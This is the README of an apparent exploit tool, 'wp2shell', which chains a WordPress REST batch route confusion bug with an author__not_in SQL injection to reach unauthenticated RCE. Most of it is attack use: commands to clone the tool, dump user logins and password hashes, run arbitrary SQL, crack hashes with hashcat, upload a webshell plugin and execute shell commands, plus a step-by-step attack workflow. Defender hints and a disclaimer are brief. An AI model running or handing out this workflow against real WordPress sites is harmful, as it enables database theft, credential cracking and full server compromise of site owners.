WordPress 核心未认证远程代码执行 POC(CVE-2026-63030 + CVE-2026-60137)
wp2shell 是针对 WordPress 核心关键漏洞链的漏洞利用工具。它将 REST API 批量路由混淆漏洞与 WP_Query 中的 SQL 注入串联起来,从而在存在漏洞的 WordPress 安装上实现未认证远程代码执行。
| 详情 | 信息 |
|---|---|
| CVE 编号 | CVE-2026-63030(REST 批量路由混淆)+ CVE-2026-60137(author__not_in SQL 注入) |
| 受影响版本 | WordPress 6.9.0 – 6.9.4、7.0.0 – 7.0.1 |
| 已修复版本 | 6.9.5、7.0.2 |
| 需要认证 | 无 — 未认证 |
| CVSS | 严重(RCE 利用链) |
| 发现者 | Adam Kues(Assetnote / Searchlight Cyber) |
| 依赖项 | Python 3.8+ — 仅标准库 |
该漏洞利用链串联了 WordPress 核心中的两个漏洞:
CVE-2026-60137 — SQL 注入 – 当 author__not_in 以字符串而非数组的形式传入时,WordPress 会跳过 is_array() 清理保护,并将原始值直接插入到 NOT IN (...) SQL 子句中。
CVE-2026-63030 — 批量路由混淆 – /wp-json/batch/v1 端点会并行构建 $matches 和 $validation 数组。一个格式错误的子请求会被追加到 $validation 中,但不会追加到 $matches 中,从而导致 +1 索引偏移。子请求 i 会被分派到子请求 i+1 的处理程序。
串联利用:携带内部 GET /wp/v2/users 请求(含 author_exclude 字符串)的 POST /wp/v2/posts 请求可同时绕过方法白名单和输入清理。该字符串以 author__not_in 的形式到达 WP_Query,并被插入到 SQL 中 — 从而获得未认证的盲 SQL 注入。
在此基础上,该工具可以:
git clone https://github.com/lucifer0xf/wp2shell-Wordpress-TOWN.git
cd wp2shell-Wordpress-TOWN
chmod +x wp2shell.py
就这样。无需任何第三方包。
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
启动一个交互式菜单,所有功能均可通过编号选项使用。
check — 确认漏洞(安全)执行时间延迟探测以确认可利用性。不读取任何数据,不改变任何内容。
./wp2shell.py http://target.com check
read — 提取数据(盲 SQL 注入)使用基于时间的盲 SQL 注入从数据库中提取信息。
# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read
# Extract user logins and password hashes
./wp2shell.py http://target.com read --users
# Extract database name
./wp2shell.py http://target.com read --database
# Extract MySQL version
./wp2shell.py http://target.com read --version
# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — 远程代码执行需要有效的管理员凭据。 SQL 注入可以恢复密码哈希,但你必须提供恢复出的明文密码。
# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check
# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users
# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| 分支 | 受影响 | 已修复 |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5(仅 SQLi,无 RCE) | 6.8.6 |
6.9.0 之前的版本不受完整 RCE 利用链影响。
对于防御方:
requests 请求体的 POST /wp-json/batch/v1 请求404 并不一定意味着“已修复” — 也可能是 WAF/CDN 正在阻止匿名 REST API 访问此工具仅用于教育和授权的安全测试目的。
| 功能 | 描述 |
|---|
| 漏洞检测 | 安全的时间延迟探测 — 不读取任何数据,不改变任何内容 |
| 数据提取 | 采用二分查找优化的盲 SQL 注入,实现高效提取 |
| 用户哈希转储 | 从 wp_users 中提取 user_login 和 user_pass 哈希 |
| 远程代码执行 | 以管理员身份认证、上传 Webshell 插件、执行命令 |
| 交互式 Shell | 持续的命令执行会话 |
| 彩色输出 | 为扫描结果提供清晰的视觉反馈 |
| 无依赖项 | 仅使用 Python 标准库 |
| 选项 | 描述 |
|---|
--users | 从 wp_users 中提取 user_login 和 user_pass |
--database | 提取当前数据库名称 |
--version | 提取 MySQL 版本 |
--query "SQL" | 执行自定义 SQL 查询(盲提取) |
--user USER | 用于 RCE 的管理员用户名 |
--password PASS | 用于 RCE 的管理员密码(明文,通过 SQLi 恢复) |
--cmd CMD | 通过 Webshell 执行的命令 |